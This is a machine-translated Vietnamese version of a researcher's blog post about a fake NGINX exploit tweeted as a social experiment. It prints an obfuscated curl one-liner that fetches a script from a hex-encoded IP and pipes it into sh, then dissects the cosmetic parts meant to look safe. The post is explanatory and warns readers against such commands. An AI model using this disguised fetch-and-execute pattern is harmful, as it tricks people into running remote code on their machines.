Thành công của một thử nghiệm xã hội với việc khai thác nginx giả

Ghi chú. bản dịch.: Tác giả ghi chú ban đầu, được xuất bản vào ngày 1 tháng XNUMX, quyết định tiến hành một thử nghiệm giữa những người quan tâm đến bảo mật thông tin. Để làm được điều này, anh ta đã chuẩn bị một bản khai thác giả mạo cho một lỗ hổng chưa được tiết lộ trên máy chủ web và đăng nó lên Twitter của mình. Giả định của anh ấy - bị các chuyên gia vạch trần ngay lập tức, những người sẽ nhìn thấy sự lừa dối rõ ràng trong mã - không những không thành hiện thực... Chúng còn vượt quá mọi mong đợi và theo hướng ngược lại: dòng tweet đã nhận được sự ủng hộ rất lớn từ nhiều người không tin kiểm tra nội dung của nó.

Thành công của một thử nghiệm xã hội với việc khai thác nginx giả

TL;DR: Không sử dụng đường dẫn tệp trong sh hoặc bash trong mọi trường hợp. Đây là một cách tuyệt vời để mất quyền kiểm soát máy tính của bạn.

Tôi muốn chia sẻ với bạn một câu chuyện ngắn về cách khai thác PoC hài hước được tạo ra vào ngày 31 tháng XNUMX. Anh xuất hiện kịp thời trước tin tức từ Alisa Esage Shevchenko, thành viên Sáng kiến ​​Ngày Không (ZDI), thông tin về lỗ hổng NGINX dẫn đến RCE (thực thi mã từ xa) sẽ sớm được tiết lộ. Vì NGINX hỗ trợ nhiều trang web nên tin tức chắc hẳn là một tin tức gây sốc. Nhưng do sự chậm trễ trong quy trình “tiết lộ có trách nhiệm”, nên người ta không biết chi tiết về những gì đã xảy ra - đây là quy trình ZDI tiêu chuẩn.

Thành công của một thử nghiệm xã hội với việc khai thác nginx giả
tiếng riu ríu về việc tiết lộ lỗ hổng trong NGINX

Sau khi hoàn thành việc nghiên cứu kỹ thuật che giấu mã nguồn mới trong Curl, tôi đã trích dẫn dòng tweet gốc và “làm rò rỉ một PoC đang hoạt động” bao gồm một dòng mã được cho là khai thác lỗ hổng được phát hiện. Tất nhiên, điều này hoàn toàn vô nghĩa. Tôi cho rằng mình sẽ bị lộ ngay lập tức và tốt nhất là tôi sẽ nhận được một vài lượt tweet lại (ồ thôi).

Thành công của một thử nghiệm xã hội với việc khai thác nginx giả
tiếng riu ríu với sự khai thác giả mạo

Tuy nhiên, tôi không thể tưởng tượng được chuyện gì xảy ra tiếp theo. Mức độ phổ biến của tweet của tôi tăng vọt. Điều đáng ngạc nhiên là ở thời điểm hiện tại (15h giờ Matxcơva ngày 00/1) rất ít người nhận ra đây là hàng giả. Nhiều người retweet nó mà không hề kiểm tra nó (chưa nói đến việc chiêm ngưỡng đồ họa ASCII đáng yêu mà nó tạo ra).

Thành công của một thử nghiệm xã hội với việc khai thác nginx giả
Chỉ cần nhìn nó đẹp làm sao!

Mặc dù tất cả các vòng lặp và màu sắc này đều tuyệt vời nhưng rõ ràng là mọi người phải chạy mã trên máy của họ để xem chúng. May mắn thay, các trình duyệt hoạt động theo cách tương tự và kết hợp với thực tế là tôi không thực sự muốn gặp rắc rối pháp lý, mã ẩn trong trang web của tôi chỉ thực hiện lệnh gọi echo mà không cố gắng cài đặt hoặc thực thi bất kỳ mã bổ sung nào.

Lạc đề nhỏ: lưới ma quái, DNZ, tôi và những người khác trong nhóm đám côn đồ Chúng tôi đã thử nghiệm nhiều cách khác nhau để làm xáo trộn các lệnh cuộn tròn trong một thời gian vì nó rất thú vị... và chúng tôi là những người đam mê công nghệ. netspooky và dnz đã phát hiện ra một số phương pháp mới có vẻ cực kỳ hứa hẹn đối với tôi. Tôi đã tham gia cuộc vui và thử thêm các chuyển đổi thập phân IP vào túi thủ thuật. Hóa ra IP cũng có thể được chuyển đổi sang định dạng thập lục phân. Hơn nữa, Curl và hầu hết các công cụ NIX khác đều vui vẻ sử dụng IP thập lục phân! Vì vậy, vấn đề chỉ là tạo ra một dòng lệnh thuyết phục và trông an toàn. Cuối cùng tôi đã quyết định điều này:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Kỹ thuật điện tử xã hội (SEE) - không chỉ là lừa đảo

Sự an toàn và quen thuộc là một phần quan trọng của thử nghiệm này. Tôi nghĩ chúng là nguyên nhân dẫn đến thành công của anh ấy. Dòng lệnh ngụ ý rõ ràng về bảo mật bằng cách tham chiếu đến "127.0.0.1" (localhost nổi tiếng). Localhost được coi là an toàn và dữ liệu trên đó không bao giờ rời khỏi máy tính của bạn.

Sự quen thuộc là thành phần XEM quan trọng thứ hai của thử nghiệm. Vì đối tượng mục tiêu chủ yếu bao gồm những người quen thuộc với những kiến ​​thức cơ bản về bảo mật máy tính nên điều quan trọng là phải tạo mã sao cho các phần của mã có vẻ quen thuộc và quen thuộc (và do đó an toàn). Việc vay mượn các yếu tố của các khái niệm khai thác cũ và kết hợp chúng theo một cách khác thường đã được chứng minh là rất thành công.

Dưới đây là một phân tích chi tiết về một lớp lót. Mọi thứ trong danh sách này đều mặc bản chất mỹ phẩmvà thực tế không cần gì cho hoạt động thực sự của nó.

Những thành phần nào thực sự cần thiết? Cái này -gsS, -O 0x0238f06a, |sh và chính máy chủ web. Máy chủ web không chứa bất kỳ hướng dẫn độc hại nào mà chỉ cung cấp đồ họa ASCII bằng các lệnh echo trong kịch bản có trong index.html. Khi người dùng nhập một dòng với |sh ở giữa, index.html được tải và thực thi. May mắn thay, những người trông coi máy chủ web không có ý đồ xấu.

  • ../../../%00 — đại diện cho việc vượt ra ngoài thư mục;
  • ngx_stream_module.so - đường dẫn đến mô-đun NGINX ngẫu nhiên;
  • /bin/sh%00<'protocol:TCP' - chúng tôi được cho là đang khởi động /bin/sh trên máy mục tiêu và chuyển hướng đầu ra sang kênh TCP;
  • -O 0x0238f06a#PLToffset - thành phần bí mật, bổ sung #PLToffset, để trông giống như phần bù bộ nhớ bằng cách nào đó có trong PLT;
  • |sh; - một mảnh quan trọng khác. Chúng tôi cần chuyển hướng đầu ra sang sh/bash để thực thi mã đến từ máy chủ web tấn công đặt tại 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - một hình nộm trong đó netcat đề cập đến /dev/tcp/localhostđể mọi thứ có vẻ an toàn trở lại. Trên thực tế, nó không có tác dụng gì và được xếp vào dòng sản phẩm làm đẹp.

Điều này kết thúc phần giải mã tập lệnh một dòng và thảo luận về các khía cạnh của “kỹ thuật điện tử xã hội” (lừa đảo phức tạp).

Cấu hình máy chủ web và biện pháp đối phó

Vì đại đa số người đăng ký của tôi là an toàn thông tin/tin tặc nên tôi quyết định làm cho máy chủ web có khả năng chống lại những biểu hiện “quan tâm” từ phía họ, chỉ để mọi người có việc gì đó để làm (và sẽ rất vui khi được làm điều đó). cài đặt). Tôi sẽ không liệt kê tất cả các cạm bẫy ở đây vì thử nghiệm vẫn đang tiếp diễn, nhưng đây là một số điều mà máy chủ thực hiện:

  • Tích cực giám sát các nỗ lực phân phối trên một số mạng xã hội nhất định và thay thế các hình thu nhỏ xem trước khác nhau để khuyến khích người dùng nhấp vào liên kết.
  • Chuyển hướng Chrome/Mozilla/Safari/etc sang video quảng cáo Thugcrowd thay vì hiển thị tập lệnh shell.
  • Theo dõi các dấu hiệu RẤT NHIỀU của sự xâm nhập/hack trắng trợn và sau đó bắt đầu chuyển hướng các yêu cầu đến máy chủ NSA (ha!).
  • Cài đặt một Trojan, cũng như một rootkit BIOS, trên tất cả các máy tính mà người dùng truy cập vào máy chủ từ một trình duyệt thông thường (đùa thôi!).

Thành công của một thử nghiệm xã hội với việc khai thác nginx giả
Một phần nhỏ của chất phản kháng

Trong trường hợp này, mục tiêu duy nhất của tôi là nắm vững một số tính năng của Apache - đặc biệt là các quy tắc thú vị để chuyển hướng yêu cầu - và tôi nghĩ: tại sao không?

Khai thác NGINX (Có thật!)

Theo dõi @alisaesage trên Twitter và theo dõi công việc tuyệt vời của ZDI trong việc giải quyết các lỗ hổng rất thực tế và khai thác các cơ hội trong NGINX. Công việc của họ luôn mê hoặc tôi và tôi biết ơn Alice vì sự kiên nhẫn của cô ấy với tất cả những đề cập và thông báo mà dòng tweet ngu ngốc của tôi gây ra. May mắn thay, nó cũng có tác dụng tốt: giúp nâng cao nhận thức về các lỗ hổng NGINX, cũng như các vấn đề do lạm dụng tính năng uốn cong gây ra.

Nguồn: www.habr.com

Thêm một lời nhận xét